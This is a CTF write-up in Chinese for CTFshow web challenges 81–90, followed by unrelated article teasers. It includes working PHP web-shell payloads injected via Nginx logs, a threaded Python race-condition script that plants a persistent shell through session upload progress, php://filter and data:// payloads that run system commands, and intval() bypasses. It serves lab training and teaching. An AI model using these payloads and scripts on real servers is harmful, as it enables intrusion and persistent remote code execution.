《CTFshow-Web入门》09. Web 81~90

Web 入门

  • 索引
  • web81
    • 题解
  • web82
    • 题解
    • 原理
  • web83
    • 题解
  • web84
    • 题解
  • web85
    • 题解
  • web86
    • 题解
  • web87
    • 题解
    • 原理
  • web88
    • 题解
  • web89
    • 题解
  • web90
    • 题解


ctf - web入门

索引

  • web81:include() 利用,一句话木马之 Nginx 日志利用。
  • web82~86:include() 利用,条件竞争,利用 session 文件写入一句话木马。
  • web87:file_put_contents() 利用,伪协议 php://filter/
  • web88:include() 利用,正则绕过,伪协议 data://
  • web89:PHP 特性之 intval()。
  • web90:PHP 特性之 intval()。

web81

和 web80 类似。

这一题发现一个问题。如果不使用 BurpSuite 传递一句话木马,可能木马写进日志时特殊字符会被 url 编码,导致木马失效。

刚做这题时使用 hackbar 传参出现了这个问题。可能是编码问题。

题解

比 web80 多过滤了【:】。

在这里插入图片描述

可以继续用 web80 的方法。

看下日志。

url + ?file=/var/log/nginx/access.log

传递一句话木马。

url + ?file=<?=eval($_POST['hi']);?>

在这里插入图片描述

蚁剑连接日志文件。

url地址:url + ?file=/var/log/nginx/access.log
密码:hi

连上之后即可。

web82

题解

该题较上一题多过滤了【.】。

在这里插入图片描述

方法一:使用下面的脚本。这个脚本适用于 web82~web86。

import requests
import io
import threadingurl='http://b04c7980-d374-4c39-9ebc-a612708262c8.challenge.ctf.show/'
sessionid='ctfshow'
data={"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}  '''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''# /tmp/sess_sessionid 中写入一句话木马。
def write(session):  fileBytes = io.BytesIO(b'a'*1024*50)while True:response=session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},cookies={'PHPSESSID':sessionid},files={'file':('ctfshow.jpg',fileBytes)})# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):while True:response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={'PHPSESSID':sessionid})# 访问木马文件,如果访问到了就代表竞争成功resposne2=session.get(url+'muma.php')if resposne2.status_code==200:print('++++++done++++++')else:print(resposne2.status_code)if __name__ == '__main__':evnet=threading.Event()# 写入和访问分别设置 5 个线程。with requests.session() as session:for i in range(5):threading.Thread(target=write,args=(session,)).start()for i in range(5):threading.Thread(target=read,args=(session,)).start()evnet.set()

运行脚本并成功写入后即可访问木马。

在这里插入图片描述

在这里插入图片描述

方法二:直接使用 burp。

参考文章:
[CTFSHOW]文件包含78-88
web入门文件包含82-86

原理

条件竞争。

例如,当打开一个文件时,就无法删除该文件。
所以,只要在上传文件的瞬间访问它,服务器来不及执行删除操作,就无法删除该文件。

参考文章:
ctfshow学习记录-web入门(文件包含78-87)
利用session.upload_progress进行文件包含和反序列化渗透

web83

题解

在这里插入图片描述

加了两个函数:

session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件。session_destroy():
删除当前用户对应的session文件以及释放sessionid。

但条件竞争使用的是上传那一瞬间创建的 session,所以不影响。

依旧使用 web82 的脚本。

web84

题解

在这里插入图片描述

system(rm -rf /tmp/*);,因为 session.upload_progress.cleanup = on 会清空对应 session 文件中的内容,所以加上删除对竞争的影响不大。

依旧使用 web82 的脚本。

web85

题解

在这里插入图片描述

增加了内容识别,如果有【<】就 die,不影响竞争。

依旧使用 web82 的脚本。

web86

题解

在这里插入图片描述

dirname(__FILE__):表示当前文件的绝对路径。
set_include_path():用来设置 include 的路径,即 include() 可以不提供文件的完整路径。

include 文件时,当包含路径既不是相对路径,也不是绝对路径时,会先查找 include_path 所设置的目录。

web82 脚本里用的是完整路径,不影响竞争。

web87

题解

根据题目,可以根据 file 生成一个 php 文件,文件内容可由 content 参数传递。

在这里插入图片描述

注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次url编码。

另外,需要绕过 die() 函数。

根据文章 谈一谈php://filter的妙用 ,可以有以下思路:

  • base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。
  • 所以对于 <?php die('大佬别秀了');?> ,base64 编解码过滤之后就只有 phpdie 6个字符了,即可进行绕过。
  • 前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。
  • 后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。
  • 由于 base64 是4个一组,而 phpdie 只有六个,所以要加两个字母凑足base64的格式。

这题传参时,file 用 get 方法,content 用 post 方法。

思路说完了,开搞开搞。

php://filter/write=convert.base64-decode/resource=123.php 进行两次 url 编码。(服务器生成 123.php 文件)

在这里插入图片描述

php://filter/write=convert.base64-decode/resource=123.php
两次 url 编码:
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

接下来对于 content 参数,就有很多方法了。

法一

可传递 <?php system('ls'); ,需 base64 编码:

<?php system('ls');
base64 编码:
PD9waHAgc3lzdGVtKCdscycpOw==

传递 file 参数与 content 参数,content 需要添加两个字母凑数,这里添加 aa。

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30content=aaPD9waHAgc3lzdGVtKCdscycpOw==

在这里插入图片描述

然后可查看生成的 123.php 文件。

url + 123.php

在这里插入图片描述

发现 fl0g.php 文件。

那就传递 <?php system('cat f*.php');

<?php system('cat f*.php');
base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7

传递 file 参数与 content 参数。

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30content=aaPD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7

再次查看 123.php 即可。

在这里插入图片描述

法二

直接传递一句话木马 <?=eval($_POST['hi']);

<?=eval($_POST['hi']);
base64 编码:
PD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==

传递 file 参数与 content 参数,content 需要添加两个字母凑数,这里添加 aa。

url + ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30content=aaPD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==

在这里插入图片描述

蚁剑连接 123.php 即可。

在这里插入图片描述

法三

这是 CTFshow 提供的 writeup:

php://filter/write=string.rot13/resource=2.php

这里就先不尝试了。

这题不知道为什么传 content 参数时,php 语句不要加末尾的 “ ?> ”。可能什么地方出了问题。

原理

  • file_put_contents(filename, data):将数据写入文件。
  • urldecode():解码已编码的 URL 字符串。

谈一谈php://filter的妙用

web88

题解

这一题可以用 data:// 协议。

在这里插入图片描述

过滤了 “ = ” 号,如果构造命令时,base64 编码出现 “ = ”,可以尝试在后面加空格,避免等号出现。

构造 <?php system('cat f*.php');?> 。在语句后添加空格避免出现等号。

<?php system('cat f*.php');?> 
base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g

url + ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g

传参后查看源码即可。

web89

题解

在这里插入图片描述

  • preg_match()
    执行匹配正则表达式。只能处理字符串,所以当传入数组时会返回 false。
  • intval(value)
    用于获取变量的整数值。成功时返回 value 的 integer 值,失败时返回 0。空的数组返回 0,非空的数组返回 1。

所以这题传个数组就行。

url + ?num[]=1

在这里插入图片描述

web90

题解

在这里插入图片描述

  • intval(mixed $value, int $base = 10)
    通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。

如果 base 是 0,通过检测 value 的格式来决定使用的进制:

  • 如果字符串包括了 “0x”(或 “0X”)的前缀,使用 16 进制(hex)
  • 如果字符串以 “0” 开始,使用 8 进制(octal)
  • 否则将使用 10 进制(decimal)。

intval() 还有一个特性。输入的值如果是字符串,它返回的内容取决于第一个字符左侧的数字。如 intval(‘11a22’)=11。

法一

使用非十进制数传递:

在这里插入图片描述

url + ?num=010574

法二

url + ?num=4476a

美人赠我锦绣段,何以报之青玉案。

——《四愁诗》(两汉)张衡

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/68959.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WebSocket--技术文档--基本概念--《快速了解WebSocket协议》

阿丹&#xff1a; 不断学习新技术&#xff0c;丰富自己了解更多才能扩展更多世界可能。 官网 WebSocket首页、文档和下载 - HTML5开发相关 - OSCHINA - 中文开源技术交流社区 软件简介 WebSocket 是 HTML5 开始提供的一种浏览器与服务器间进行全双工通讯的网络技术。 WebS…

力扣|找出和所对应的两数的下标

从零开始刷力扣&#xff08;bushi 题目放在这&#xff1a; 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出和为目标值target的两个整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一…

linux上vscode中.cpp文件中引入头文件.hpp时报错:找不到头文件(启用错误钵形曲线)

当在.cpp文件中引入系统给定的头文件时&#xff1a;#include < iostream > 或者引入自定义的头文件 &#xff1a;#include <success.hpp> 报错&#xff1a;找不到相应的头文件&#xff0c;即在引入头文件的改行底下标出红波浪线 解决方法为&#xff1a; &#…

kvm 虚拟化(修改root密码)

安装libguestfs-tools yum install libguestfs-tools 生成新的密码串 # openssl是一个加密工具&#xff0c;-1 是指普通加密&#xff0c; # hello为key &#xff0c; 123456 才是密码&#xff0c; # 下面就是是生成的密码串&#xff0c;这样我们只要将这些进行对应的替换就可…

vue 防抖与节流用法

一、html <template><button click"getData">获取数据</button> </template>二、JS import { throttle } from "/utils/common"; export default {methods:{getData: throttle(async function(params){console.log(”获取接口数…

音视频 ffmpeg命令参数说明

主要参数&#xff1a; -i 设定输入流 -f 设定输出格式(format) -ss 开始时间 -t 时间长度 音频参数&#xff1a; -aframes 设置要输出的音频帧数 -b:a 音频码率 -ar 设定采样率 -ac 设定声音的Channel数 -acodec 设定声音编解码器&#xff0c;如果用copy表示原始编解码数据必须…

【面试精品】关于面试会遇到的Apache相关的面试题

1. Apache HTTP Server 基于什么协议提供网页浏览服务&#xff1f; 答&#xff1a;基于标准的http网络协议提供网页浏览服务。 2. 简述编译安装httpd软件包的基本过程&#xff1f; 答&#xff1a;解包&#xff0c;配置&#xff0c;编译&#xff0c;安装。 3. 编译安装httpd软…

linux入门---动静态库的加载

目录标题 为什么会有动态库和静态库静态库的实现动态库的实现动静态库的加载 为什么会有动态库和静态库 我们来模拟一个场景&#xff0c;首先创建两个头文件 根据文件名便可以得知add.h头文件中存放的是加法函数的声明&#xff0c;sub.h头文件中存放的是减法函数的声明&#…

文章预览 安防监控/视频存储/视频汇聚平台EasyCVR播放优化小tips

视频云存储/安防监控EasyCVR视频汇聚平台基于云边端智能协同&#xff0c;可实现视频监控直播、视频轮播、视频录像、云存储、回放与检索、智能告警、服务器集群、语音对讲、云台控制、电子地图、H.265自动转码H.264、平台级联等。为了便于用户二次开发、调用与集成&#xff0c;…

25 Linux可视化-Webmin和bt运维工具

25 Linux可视化-Webmin和bt运维工具 文章目录 25 Linux可视化-Webmin和bt运维工具25.1 Web运行环境简介25.2 Webmin的安装及使用25.2.1 安装webmin25.2.2 Webmin使用演示 25.3 bt(宝塔)的安装及使用25.3.1 安装宝塔25.3.2 宝塔Web登录Linux服务器25.3.3 找回宝塔登录密码 学习视…

Chrome 和 Edge 上出现“status_breakpoint”错误解决办法

文章目录 STATUS_BREAKPOINTSTATUS_BREAKPOINT报错解决办法Chrome浏览器 Status_breakpoint 错误修复- 将 Chrome 浏览器更新到最新版本- 卸载不再使用的扩展程序和应用程序- 安装计算机上可用的任何更新&#xff0c;尤其是 Windows 10- 重启你的电脑。 Edge浏览器 Status_brea…

iOS实时监控与报警器

在现代信息化社会中&#xff0c;即使我们不在电脑前面也能随时获取到最新的数据。而苹果公司提供的iOS推送通知功能为我们带来了一种全新的方式——通过手机接收实时监控和报警信息。 首先让我们了解一下iOS推送通知。它是一个强大且灵活可定制化程度高、适用于各类应用场景&a…

基于沙猫群算法优化的BP神经网络(预测应用) - 附代码

基于沙猫群算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码 文章目录 基于沙猫群算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码1.数据介绍2.沙猫群优化BP神经网络2.1 BP神经网络参数设置2.2 沙猫群算法应用 4.测试结果&#xff1a;5.Matlab代…

论文研读|生成式跨模态隐写发展综述

前言&#xff1a;本文介绍近5年来生成式跨模态隐写领域的相关工作。 相关阅读&#xff1a;生成式文本隐写发展综述 不同于文本隐写&#xff0c;跨模态隐写需要考虑不同模态间的相关性&#xff0c;常见的跨模态场景有&#xff1a;Image-to-Text&#xff08;如图像描述&#xff…

【Python】OpenCV安装

安装起来相当简单&#xff0c;但是看到很多博客的安装过程复杂得很。 pip install opencv-python测试代码&#xff1a; import cv2 as cv img cv.imread("f6759b83f3201997fd7ea1c9b9130a44.jpg")cv.imshow("Display window", img) k cv.waitKey(0) # …

ROS 2官方文档(基于humble版本)学习笔记(二)

ROS 2官方文档&#xff08;基于humble版本&#xff09;学习笔记&#xff08;二&#xff09; 理解节点&#xff08;node&#xff09;ros2 runros2 node list重映射&#xff08;remap&#xff09;ros2 node info 理解话题&#xff08;topic&#xff09;rqt_graphros2 topic listr…

【2023年11月第四版教材】第10章《进度管理》(第三部分)

第10章《进度管理》&#xff08;第三部分&#xff09; 7 估算活动持续时间7.1 估算活动持续时间7.2 类比估算★★★7.3 参数估算★★★7.4 三点估算★★★7.5 数据分析★★★ 7 估算活动持续时间 组过程输入工具和技术输出计划4,估算活动持续时间1.项目管理计划&#xff08;进…

数据库基础

目录 一、数据库是什么&#xff1f; 二、目前主流的数据库 三、数据库基本使用 1.连接服务器 2.服务器、数据库、表关系 3.使用案例 4、数据逻辑存储 四、MySQL基本知识 1、MySQL架构 2、SQL语句分类 3、存储引擎 总结 一、数据库是什么&#xff1f; 数据库是按照数据结构来组…

golang读取键盘功能按键输入

golang读取键盘功能按键输入 需求 最近业务上需要做一个终端工具&#xff0c;能够直接连到docker容器中进行交互。 技术选型 docker官方提供了python sdk、go sdk和remote api。 https://docs.docker.com/engine/api/sdk/ 因为我们需要提供命令行工具&#xff0c;因此采用g…

6、NoSQL的四大分类

6、NoSQL的四大分类 kv键值对 不同公司不同的实现 新浪&#xff1a;Redis美团&#xff1a;RedisTair阿里、百度&#xff1a;Redismemcache 文档型数据库&#xff08;bson格式和json一样&#xff09; MongoDB MongoDB是一个基于分布式文件存储的数据库&#xff0c;一般用于存储…